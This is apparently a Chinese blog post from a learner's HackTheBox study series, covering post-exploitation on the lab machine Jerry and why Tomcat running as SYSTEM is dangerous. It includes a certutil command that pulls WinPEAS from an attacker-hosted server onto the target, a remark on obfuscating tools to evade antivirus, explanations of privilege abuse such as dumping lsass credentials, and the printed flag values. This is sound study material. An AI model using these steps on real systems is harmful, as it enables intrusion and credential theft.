iT邦幫忙

2026 iThome 鐵人賽

DAY 25
0
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 25 篇

Day 25 — Jerry:一進去就是 SYSTEM:為什麼服務帳號的權限這麼重要?

  • 分享至 

  • xImage
  •  

昨天打進 Jerry,whoami 直接回我 nt authority\system。

當時有提到,為什麼我們一跑 whoami,就直接是 SYSTEM,完全沒有經過提權過程的拷打(?)
一個可能的原因,就是 Tomcat 被設定成以 SYSTEM 身分執行,而不是使用權限受限的服務帳號~
只要我們成功利用 Tomcat 的管理介面部署並執行程式,取得的 Shell 就可能直接繼承 Tomcat 的高權限,連提權都不用,直接到終點了 xddd

那……什麼才是正確的權限設定呢?

想一想,突然想到之前稽核的時候,顧問看到我們有些服務是用系統帳號或管理員帳號在跑,說要另外開個人帳號來跑,不能用高權限的。當時沒問清楚原因,現在打完 Jerry 才大概懂了,至少用低權限帳號,被拿走的時候傷害範圍小很多 QQ

今天就留在我們的目標機器 Jerry 裡,把這件事搞清楚。


這是今天在 Jerry 拿到的 target ip:10.129.136.9
https://ithelp.ithome.com.tw/upload/images/20261009/20184189m03Z75b19s.png

昨天我們取得了 Jerry 的 reverse shell,我們目前的身分是nt authority\system
https://ithelp.ithome.com.tw/upload/images/20261009/20184189Lth86ACRFk.png


拿到 Shell 之後的 SOP

之前打 Linux 靶機整理過:拿到 shell 第一件事,先問「我是誰、我在哪、我能做什麼」。

Windows 也是一樣的問題,只是指令不一樣:

問題 Linux Windows
我是誰? whoami whoami
我在哪些群組? id whoami /groups
我在哪裡? pwd cd
我能做什麼? sudo -l whoami /priv(看 Enabled 的欄位)
這台機器是什麼? hostname / uname -a hostname / systeminfo
裡面有什麼寶? ls /home,cat 設定檔,flag net user ,type(等於 cat),flag

如果打進去的是 AD 環境,問題一樣,但「裡面有什麼寶」不是找檔案,是找權限關係——誰能走到 Domain Admin。那是另一套 SOP,Forest 那篇有整理過。

把拿到 Shell 之後的 SOP 跑一遍

whoami /groups — 我在哪些群組?

https://ithelp.ithome.com.tw/upload/images/20261009/20184189jjVgJQDdCP.png

cd — 我在哪?
https://ithelp.ithome.com.tw/upload/images/20261009/20184189DZdx31vHSb.png

hostname — 主機名稱?
https://ithelp.ithome.com.tw/upload/images/20261009/20184189yMZ25rQ9Ad.png

systeminfo — 這台機器是什麼?

Host Name:                 JERRY
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00252-00112-46014-AA570
Original Install Date:     6/18/2018, 11:30:45 PM
System Boot Time:          10/9/2026, 1:14:14 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest
Total Physical Memory:     4,095 MB
Available Physical Memory: 3,333 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 3,788 MB
Virtual Memory: In Use:    1,011 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 142 Hotfix(s) Installed.
                           [01]: KB2868626
                           [02]: KB2883200
                           [03]: KB2887595
                           [04]: KB2894856
                           [05]: KB2903939
                           [06]: KB2911106
                           [07]: KB2919355
                           [08]: KB2919394
                           [09]: KB2928680
                           [10]: KB2938066
                           [11]: KB2954879
                           [12]: KB2967917
                           [13]: KB2977765
                           [14]: KB2978041
                           [15]: KB2978126
                           [16]: KB2989930
                           [17]: KB3000850
                           [18]: KB3003057
                           [19]: KB3004365
                           [20]: KB3004545
                           [21]: KB3012235
                           [22]: KB3012702
                           [23]: KB3013172
                           [24]: KB3013531
                           [25]: KB3013538
                           [26]: KB3013769
                           [27]: KB3013791
                           [28]: KB3013816
                           [29]: KB3014442
                           [30]: KB3015696
                           [31]: KB3018133
                           [32]: KB3019978
                           [33]: KB3021910
                           [34]: KB3023222
                           [35]: KB3023266
                           [36]: KB3024751
                           [37]: KB3024755
                           [38]: KB3029603
                           [39]: KB3030947
                           [40]: KB3032663
                           [41]: KB3033446
                           [42]: KB3035126
                           [43]: KB3036612
                           [44]: KB3037579
                           [45]: KB3037924
                           [46]: KB3038002
                           [47]: KB3042085
                           [48]: KB3044374
                           [49]: KB3044673
                           [50]: KB3045634
                           [51]: KB3045685
                           [52]: KB3045717
                           [53]: KB3045719
                           [54]: KB3045755
                           [55]: KB3045999
                           [56]: KB3046017
                           [57]: KB3046737
                           [58]: KB3054169
                           [59]: KB3054203
                           [60]: KB3054256
                           [61]: KB3054464
                           [62]: KB3055323
                           [63]: KB3055343
                           [64]: KB3055642
                           [65]: KB3059317
                           [66]: KB3060681
                           [67]: KB3060793
                           [68]: KB3061512
                           [69]: KB3063843
                           [70]: KB3071756
                           [71]: KB3074228
                           [72]: KB3074548
                           [73]: KB3076949
                           [74]: KB3077715
                           [75]: KB3078405
                           [76]: KB3078676
                           [77]: KB3080149
                           [78]: KB3082089
                           [79]: KB3084135
                           [80]: KB3084905
                           [81]: KB3086255
                           [82]: KB3087041
                           [83]: KB3087137
                           [84]: KB3091297
                           [85]: KB3094486
                           [86]: KB3095701
                           [87]: KB3097997
                           [88]: KB3098779
                           [89]: KB3099834
                           [90]: KB3100473
                           [91]: KB3102429
                           [92]: KB3103616
                           [93]: KB3103696
                           [94]: KB3103709
                           [95]: KB3109103
                           [96]: KB3109560
                           [97]: KB3109976
                           [98]: KB3110329
                           [99]: KB3115224
                           [100]: KB3121261
                           [101]: KB3121461
                           [102]: KB3123245
                           [103]: KB3126434
                           [104]: KB3126587
                           [105]: KB3133043
                           [106]: KB3133690
                           [107]: KB3134179
                           [108]: KB3134815
                           [109]: KB3137728
                           [110]: KB3138378
                           [111]: KB3138602
                           [112]: KB3138910
                           [113]: KB3138962
                           [114]: KB3139164
                           [115]: KB3139398
                           [116]: KB3139914
                           [117]: KB3140219
                           [118]: KB3140234
                           [119]: KB3145384
                           [120]: KB3145432
                           [121]: KB3146604
                           [122]: KB3146723
                           [123]: KB3146751
                           [124]: KB3147071
                           [125]: KB3155784
                           [126]: KB3156059
                           [127]: KB3159398
                           [128]: KB3161949
                           [129]: KB3162343
                           [130]: KB3172614
                           [131]: KB3172729
                           [132]: KB3173424
                           [133]: KB3175024
                           [134]: KB3178539
                           [135]: KB3179574
                           [136]: KB3185319
                           [137]: KB4033369
                           [138]: KB4033428
                           [139]: KB4054854
                           [140]: KB4096417
                           [141]: KB4287903
                           [142]: KB4284815
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.10.2
                                 IP address(es)
                                 [01]: 10.129.136.9
                                 [02]: fe80::f95e:af47:2f8e:4718
                                 [03]: dead:beef::f95e:af47:2f8e:4718
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

net user — 有哪些本機帳號?

https://ithelp.ithome.com.tw/upload/images/20261009/20184189ZskG9tso6T.png

net user 列出了 Administrator 和 Guest 兩個本機帳號。
Guest 通常預設停用,不過光看這份清單,還不能判斷實際有多少人使用這台機器,也不能排除還有其他網域帳號。
接著再看看 C:\Users 裡有哪些使用者目錄,交叉比對一下我們目前看到的線索~

dir C:\Users — 有哪些使用者目錄?

https://ithelp.ithome.com.tw/upload/images/20261009/20184189NOeKoKvJA7.png

這裡看到了 Administrator 和 Public。Administrator 是管理員的使用者目錄,Public 則是 Windows 提供的共用使用者資料夾~
這些目錄可以幫我們了解主機上的檔案結構,但不能只靠目錄名稱就判斷實際有哪些人登入或使用過這台機器!

尋flag之路

HTB 的 Flag 很多時候會放在使用者的桌面,所以不用一開始就全盤搜尋,可以先從 Administrator 的桌面找起:
dir ..
https://ithelp.ithome.com.tw/upload/images/20261009/20184189Dz84Dpwkik.png

dir C:\Users
https://ithelp.ithome.com.tw/upload/images/20261009/20184189vpQFQ7ZJaI.png

dir C:\Users\Administrator
https://ithelp.ithome.com.tw/upload/images/20261009/20184189nqXAf7IRcD.png

dir C:\Users\Administrator\Desktop
https://ithelp.ithome.com.tw/upload/images/20261009/20184189BLOMwEXjBT.png

dir C:\Users\Administrator\Desktop\flags
https://ithelp.ithome.com.tw/upload/images/20261009/201841897yszQkryvo.png

type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
https://ithelp.ithome.com.tw/upload/images/20261009/201841891Gf0Ohwqzx.png
耶~~~我們一次兩個flags!

  • user.txt : 7004dbcef0f854e0fb401875f26ebd00
  • root.txt : 04a8b36e1545a455393d067e772fe90e

不過這只是常見的搜尋方向,不代表每台靶機的 Flag 都會放在這裡!如果沒有找到,就再看看其他資料夾~~~


whoami /priv 要特別講一下

大家有沒有發現,剛剛跳過了whoami /priv,因為我們要特別放大講他xdddd

whoami /priv

輸出會長這樣:
https://ithelp.ithome.com.tw/upload/images/20261009/20184189FP1hogHs5W.png
https://ithelp.ithome.com.tw/upload/images/20261009/20184189kcr1dIoWhu.png

看到這張表的時候,我第一個疑問是:

「Disabled 的那些權限……是我沒有,還是有但沒開?」

在 Windows,「擁有某項特權」跟「這項特權目前是否啟用」是兩件事。

whoami /priv 會列出目前帳號所包含的特權,以及它們目前的啟用狀態

  • Disabled:這項特權目前沒有啟用,但不代表一定可以自行啟用。
  • Enabled:這項特權目前已啟用,但不代表一定能直接利用它提權。

所以,看到 Enabled 也不能直接認定有漏洞,還是要看這項特權能做什麼,以及是否符合實際利用條件~


那為什麼 Tomcat 不應該用 SYSTEM 執行

Tomcat 的工作只是讓 Java Web 應用跑起來。但......這樣的工作,真的需要拿到剛剛看到的那麼多特權嗎?

SeDebugPrivilege — 原本是給開發者 debug 用的。拿到這個,在符合條件時我們可以直接讀 lsass.exe 的記憶體——那個專門幫 Windows 記錄「誰登入過、密碼是什麼」的 process—把裡面的帳密撈出來 😨(前提是有人登入過,沒登入過就撈不到)

SeImpersonatePrivilege — 在 Windows 裡,當有人連進這台機器做事,他的身份(token)會短暫出現在這台機器上。這個特權讓我們在符合條件時,可以在那個當下「借走」他的身份去做事,偽裝成他—所以如果剛好有管理員連進來,我們就能借他的身份為所欲為 xddd

SeTcbPrivilege — 這個更猛,不需要等任何人連進來。直接讓我們的 process 假裝自己是作業系統本身,憑空產生任何使用者的身份,包括 SYSTEM。比 SeImpersonatePrivilege 還強一個等級。

Tomcat 本身不一定會用 SYSTEM 身分執行,實際上還是要看 Windows 服務的設定~

比較安全的做法,是讓 Tomcat 使用權限受限的專用服務帳號,而不是直接給它 SYSTEM 這麼高的權限(如果管理員把 Tomcat 設定成以 SYSTEM 身分執行,那就要小心了 QQ

一旦攻擊者成功利用管理介面部署並執行惡意 WAR、取得 Shell,就可能直接繼承 Tomcat 的執行身分—還沒開始研究提權,就已經直接拿到 SYSTEM 了!!!

這也是為什麼拿到 Shell 之後,一定要先跑 whoami,看看自己現在是誰 xddd


用 WinPEAS 探索一輪目標環境

就算已經是 SYSTEM、不需要提權,還是可以來一起看看 WinPEAS 這個可以協助找提權路徑的工具 xddd

WinPEAS 會自動幫我們檢查各種 Windows 安全設定~不需要高權限,任何帳號都能跑,只是低權限帳號有些輸出會抓不到QQ (以後卡關不知道怎麼提權,可以先請出WinPEAS ,說不定會有意想不到的收穫 👀

不過在真實環境用要小心>< WinPEAS 是各大防毒和 EDR 眼中的黑名單,直接跑幾乎一定被抓 QQ
實務上會透過混淆之類的技巧繞過><但我們目前在 HTB 靶機,先不用擔心這個 xddd

把 WinPEAS 傳到靶機

靶機通常不能直接上網,工具要先放在我們的 Kali,開一個 HTTP 伺服器,讓靶機自己來下載!

先在 Kali 把 WinPEAS 下載到 /tmp,再開 HTTP 伺服器讓靶機來拿:

切到要放 WinPEAS 的目錄

cd /tmp

https://ithelp.ithome.com.tw/upload/images/20261009/20184189K9fsQ9V7WA.png

從 GitHub 下載 WinPEAS 到這個目錄

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany.exe

https://ithelp.ithome.com.tw/upload/images/20261009/20184189Ml5vW39qde.png

在 port 8000 開一個臨時 HTTP 伺服器,讓靶機來下載檔案

python3 -m http.server 8000

https://ithelp.ithome.com.tw/upload/images/20261009/20184189OXAThDrkXj.png

在 Jerry 的 shell 裡,用 certutil 下載 WinPEAS(wget 是 Linux 的下載工具,在 Windows 靶機上要改用 certutil):

certutil -urlcache -split -f http://10.10.15.205:8000/winPEASany.exe winPEASany.exe
參數 用途
certutil Windows 內建工具,原本是用來處理憑證的,但也可以拿來下載檔案
-urlcache -split -f 強制從 URL 下載存成檔案,-f 是覆蓋舊檔、-split 是分段下載
http://10.10.15.205:8000/winPEASany.exe 從我們的 Kali 下載 WinPEAS
winPEASany.exe 存成這個檔名

https://ithelp.ithome.com.tw/upload/images/20261009/20184189E5xKyvH9o0.png

執行 WinPEAS

winPEASany.exe 

像這樣:

https://ithelp.ithome.com.tw/upload/images/20261009/20184189DqMgp3ODZG.png

跑完之後,輸出真的很長很長——WinPEAS 會用顏色標示一些值得注意的項目,讓我們比較容易找到線索。
不過,紅字不等於漏洞已經成立! 它只是提醒我們,這個項目可能值得進一步檢查。

例如,看到 lsass 或 svchost 相關的資訊時,我們不能只看它們的執行身分,就直接判斷有沒有提權機會!還要進一步確認DLL 載入方式,以及是否存在可以被利用的設定問題。

那 DLL Hijacking 是什麼?

Windows 程式在執行時,可能會載入 DLL,可以先把它想成程式用來呼叫其他功能的元件。

如果程式載入 DLL 的方式存在問題,而且我們能控制它載入的 DLL,就可能讓程式執行我們準備的惡意程式碼~

以高權限服務為例!

假設今天有一個以 SYSTEM 身分執行的服務,而我們確認它存在 DLL 載入上的弱點,也有辦法控制它載入的 DLL,就值得進一步研究能不能利用這個問題提權。

如果惡意程式碼真的被這個高權限程序載入並執行,就可能取得該程序所擁有的高權限XDD

這就是 DLL Hijacking 的核心:利用程式載入 DLL 的方式,讓高權限的程序執行不該執行的程式碼~

不過,今天我們已經是 SYSTEM 了,這些提權路徑就不是目前最需要研究的方向 xddd

但如果當初拿到的是低權限帳號,WinPEAS 找到的相關線索,就值得我們繼續調查 👀


本日回顧 💭

寫前幾份靶機的 Report 時,我們有學到一個撰寫技巧:先說明做得好的地方,讓對方更願意接受後續的改善建議。

當時寫到「有使用 www-data,而不是直接用高權限執行服務,權限控管做得不錯」時,老實說,我其實不太懂這有什麼好誇獎的 xddd

心裡還想說:「這不是本來就應該做到的嗎?」

直到這次遇到 Jerry,看到 Tomcat 竟然是用 SYSTEM 身分執行,讓我們一拿到 Shell,就直接取得了高權限,才真正感受到服務執行身分的差異。

原來,服務使用什麼身分執行,真的會影響系統遭到入侵後,攻擊者能做到什麼程度!

以前寫 Report 時,可能只是知道要把這些優點跟改善建議寫進去,卻沒有真正理解背後的意義。

但經過這次實作,才慢慢把以前學過、寫過的觀念串起來。

原來以前覺得理所當然的事情,背後其實都有它重要的原因啊!!🥹

明天就來寫我們這台機器Jerry的報告!!!明天見啦~~~


上一篇
Day 24 — Jerry:8080 開了一扇門,進去竟然直接變 SYSTEM?! 👀
下一篇
Day 26 — 不用提權就拿到 SYSTEM?Jerry 的兩個 Finding 告訴我們什麼!
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言